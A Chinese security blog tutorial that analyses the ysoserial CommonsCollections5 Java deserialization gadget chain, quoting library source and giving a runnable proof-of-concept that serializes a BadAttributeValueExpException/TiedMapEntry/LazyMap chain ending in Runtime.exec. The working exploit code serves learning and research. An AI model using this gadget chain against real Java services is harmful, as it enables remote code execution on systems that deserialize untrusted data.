CommonsCollections5(基于ysoserial)
环境准备
JDK1.8(8u421)我以本地的JDK8版本为准、commons-collections(3.x 4.x均可这里使用3.2版本)
cc3.2:
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2</version>
</dependency>
正文
CC1攻击链:https://www.cnblogs.com/erosion2020/p/18553568
CC5是 CC1 的一个变种,CC1在JDK1.8之后对AnnotationInvocationHandler 进行了修复,使得攻击链不能被正常利用,在CC5提到的攻击链中使用了TiedMapEntry以及BadAttributeValueExpException来完成攻击链的触发。
让我们来看一下为什么通过这两个类可以完成攻击链的触发。
TiedMapEntry
TiedMapEntry 是 Commons Collections 中的一个类,它主要用于将一个 Map 的键值对与其他对象绑定起来,形成一个 "绑定"(tied)关系。这个类的目的是允许 Map 条目(即键值对)与附加的对象(比如某些回调函数或特殊处理对象)一起存储。具体来说,TiedMapEntry 通过包装 Map 的条目,并与目标对象一起存储,来支持一些懒加载机制或触发特定的操作。
CC5中的应用
在 CC5(Commons Collections 5) 的攻击链中,TiedMapEntry 起到了关键的“桥梁”作用。攻击者利用 TiedMapEntry 和 LazyMap 的结合来构建攻击链。
LazyMap的懒加载机制:LazyMap被用来延迟加载对象,攻击者通过将恶意代码与LazyMap绑定,延迟执行某些操作。TiedMapEntry在这里负责将恶意的LazyMap对象和其他需要的对象绑定在一起。TiedMapEntry和LazyMap配合:攻击者可以将TiedMapEntry与LazyMap一起使用,通过访问LazyMap中的条目,来触发懒加载的恶意代码。这个过程通常是在反序列化时自动发生的。- 触发反序列化时的恶意操作:当反序列化包含
TiedMapEntry的对象时,访问TiedMapEntry的getValue()方法会触发与之绑定的恶意操作,最终可能执行恶意代码。
关键代码分析
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
......
public Object getKey() {
return this.key;
}
// action1: 会执行到这个地方
// 最终要把Map变成一个LazyMap,那这样的话就会触发LazyMap的get方法,而LazyMap中的get方法则会触发transformer方法
public Object getValue() {
return this.map.get(this.key);
}
// action0: 重点在这个方法中,他调用了getValue方法
public String toString() {
return this.getKey() + "=" + this.getValue();
}
}
BadAttributeValueExpException
BadAttributeValueExpException 是 javax.management 包中的一个类,通常用于描述与 Java Management Extensions (JMX) 相关的异常。该类的构造方法接受一个 Object 类型的参数 val,代表异常的具体值。
在安全漏洞利用中,BadAttributeValueExpException 常被用作反序列化攻击链的一部分。由于其 val 字段是可访问的,攻击者可以通过将恶意对象(例如 TiedMapEntry)赋值给该字段,间接触发恶意代码的执行。
CC5中的应用
在 CC5 攻击链中,BadAttributeValueExpException 是触发攻击链的关键对象之一。攻击者通过反序列化时将 TiedMapEntry 或其他恶意对象设置为 val 字段的值,使得反序列化过程中触发恶意的代码执行。
CC5 攻击链的具体应用:
- 构造
BadAttributeValueExpException:首先构造一个BadAttributeValueExpException对象,并通过反射将恶意的TiedMapEntry对象设置到val字段中。 - 触发反序列化:在反序列化过程中,
BadAttributeValueExpException的val字段会被访问,而这个字段绑定了一个TiedMapEntry对象。此时,TiedMapEntry的getValue()方法被调用,从而触发LazyMap的懒加载操作。 - 执行恶意代码:
LazyMap中的Transformer链会被触发,最终执行绑定的恶意操作(如执行命令、反向连接等)。
关键代码分析
public class BadAttributeValueExpException extends Exception {
private static final long serialVersionUID = -3105272988410493376L;
// 要把val构造成一个TiedMapEntry,这样在执行反序列化方法readObject时就会触发TiedMapEntry.toString方法
// 然后TiedMapEntry.toString方法会执行TiedMapEntry.getValue方法,然后会执行到LazyMap.get(this.key)
// LazyMap.get方法中会调用Transformer.transformer方法,而这里的Transformer就是我们精心构造的TransformerChained
private Object val;
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
// 重点是这个方法
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
}
构造POC
一样,这里还是直接把ysoserial的代码转换成本地可以直接执行调试的代码
public class CommonsCollections5 {
static String serialFileName = "commons-collections5.ser";
public static void main(String[] args) throws Exception {
cc5byYsoSerial();
verify();
}
public static void verify() throws Exception {
// 本地模拟反序列化
FileInputStream fis = new FileInputStream(serialFileName);
ObjectInputStream ois = new ObjectInputStream(fis);
Object ignore = (Object) ois.readObject();
}
public static void cc5byYsoSerial() throws Exception {
String execArgs = "cmd /c start";
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{execArgs}),
new ConstantTransformer(1) };
// 等同于ysoserial中的Reflections.setFieldValue(transformerChain, "iTransformers", transformers);写法
Class<?> transformer = Class.forName(ChainedTransformer.class.getName());
Field iTransformers = transformer.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain, transformers);
// 先创建LazyMap,用来将transformerChain包装成一个Map,当Map中的get方法被触发时就能直接触发到调用链
final Map lazyMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
FileOutputStream fos = new FileOutputStream(serialFileName);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(val);
oos.flush();
oos.close();
}
}
调试
来弹个cmd

调用链
其实和CC1的调用链非常非常像,只是攻击链的触发点不一样
- ObjectInputStream.readObject()
- BadAttributeValueExpException.readObject()
- TiedMapEntry.toString()
- TiedMapEntry.getValue()
- LazyMap.get()
- ChainedTransformer.transform()
- ConstantTransformer.transform()
- InvokerTransformer.transform()
- Method.invoke()
- Class.getMethod()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.getRuntime()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- InvokerTransformer.transform()
- ConstantTransformer.transform()
- ChainedTransformer.transform()
- LazyMap.get()
- TiedMapEntry.getValue()
- TiedMapEntry.toString()
- BadAttributeValueExpException.readObject()
CommonsCollections5(基于ysoserial)的更多相关文章
- ysoserial分析【一】 之 Apache Commons Collections
目录 前言 基础知识 Transformer 利用InvokerTransformer造成命令执行 Map TransformedMap LazyMap AnnotationInvocationHan ...
- Java unserialize serialized Object(AnnotationInvocationHandler、ysoserial) In readObject() LeadTo InvokerTransformer(Evil MethodName/Args)
Java unserialize serialized Object(AnnotationInvocationHandler.ysoserial) In readObject() LeadTo Tra ...
- 基于CommonsCollections4的Gadget分析
基于CommonsCollections4的Gadget分析 Author:Welkin 0x1 背景及概要 随着Java应用的推广和普及,Java安全问题越来越被人们重视,纵观近些年来的Java安全 ...
- ysoserial Commons Collections1反序列化研究
Apache Commons Collections1反序列化研究 环境准备 Apache Commons Collections 3.1版本 IDEA 需要一些java基础,反射.类对象.Class ...
- YsoSerial 工具常用Payload分析之URLDNS
本文假设你对Java基本数据结构.Java反序列化.高级特性(反射.动态代理)等有一定的了解. 背景 YsoSerial是一款反序列化利用的便捷工具,可以很方便的生成基于多种环境的反序列化EXP.ja ...
- YsoSerial 工具常用Payload分析之CC3(二)
这是CC链分析的第二篇文章,我想按着common-collections的版本顺序来介绍,所以顺序为 cc1.3.5.6.7(common-collections 3.1),cc2.4(common- ...
- YsoSerial 工具常用Payload分析之Common-Collections2、4(五)
前言 Common-Collections <= 3.2.1 对应与YsoSerial为CC1.3.5.6.7 ,Commno-collections4.0对应与CC2.4. 这篇文章结束官方原 ...
- Ysoserial Commons Collections7分析
Ysoserial Commons Collections7分析 写在前面 CommonsCollections Gadget Chains CommonsCollection Version JDK ...
- 最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目
最近帮客户实施的基于SQL Server AlwaysOn跨机房切换项目 最近一个来自重庆的客户找到走起君,客户的业务是做移动互联网支付,是微信支付收单渠道合作伙伴,数据库里存储的是支付流水和交易流水 ...
- 自定义基于 VLC 的视频播放器
前言(蛋疼的背景故事) 前段时间,接了一个小项目,有个需求是要在系统待机一段时间以后,循环播放 MV(类似于 Windows 系统的屏幕保护). 听到这个需求,我首先想到的是 MediaPlayer ...
随机推荐
- 全网最适合入门的面向对象编程教程:38 Python常用复合数据类型-使用列表实现堆栈、队列和双端队列
全网最适合入门的面向对象编程教程:38 Python 常用复合数据类型-使用列表实现堆栈.队列和双端队列 摘要: 在 Python 中,列表(list)是一种非常灵活的数据结构,可以用来实现堆栈(st ...
- elementui 修改合计行样式
<style scoped> /deep/.el-table .el-table__footer-wrapper .cell { text-align: right } </styl ...
- Ubuntu 安装 Docker Engine
Docker Engine (也称作 Docker CE) 是 Docker 官方的社区版包,它不包含在 Ubuntu 默认的存储库中.因此,你无法直接使用 apt install docker-ce ...
- 自动调用关闭释放资源try-with-resources
try-with-resources自动执行释放资源 看到了try这个关键字立马就应该能想到异常处理机制try-catch-finally语句块.这里要说的东西和异常处理背后的机制其实几乎是一样的,只 ...
- 编译器实现之旅——第十六章 代码装载、链接器、全局变量与main函数
在上一章的旅程中,我们已经实现了函数调用的代码生成器分派函数,但在上一章的末尾,我们留下了三个问题: 我们需要为全局变量压栈 main函数需要在程序启动时被自动调用 我们需要实现一个链接器,以将所有的 ...
- 省钱的开源项目「GitHub 热点速览」
本期,我从上周的热门开源项目中挑选了 5 个既省钱又省事,还好玩的开源项目. 首先,推荐的是省钱的电动汽车智能充电管理平台 evcc,它可以根据分时电价智能安排电动车充电时间,从而降低电费,如果你家还 ...
- 小tips:HTML的实体
为了能在HTML文档中正确显示某些特殊字符,就需要使用HTML实体(entity).HTML实体就是对当前文档的编码方式不能包含的字符,提供一种转义表示. HTML实体定义 1.名称方式 名称方式会以 ...
- ASP.NET Core – Partial View
前言 之前写过一篇 ASP.NET Core – View Component 里面有提到, View Component 是 Partial View 的加强版. 多了一个 .cs 可以写逻辑. 那 ...
- 搭建高效攻防靶场vulfocus与Docker仓库管理实战:从听说到入门系列
搭建高效攻防靶场vulfocus与Docker仓库管理实战:从听说到入门系列 vulfocus 简介 vulfocus,作为一款前沿的漏洞集成平台,它巧妙地将多种最新的CVE漏洞环境封装于Docker ...
- 30. 串联所有单词的子串 Golang实现
题目描述: 给定一个字符串 s 和一个字符串数组 words. words 中所有字符串 长度相同 . s 中的 串联子串 是指一个包含 words 中所有字符串以任意顺序排列连接起来的子串. 例如, ...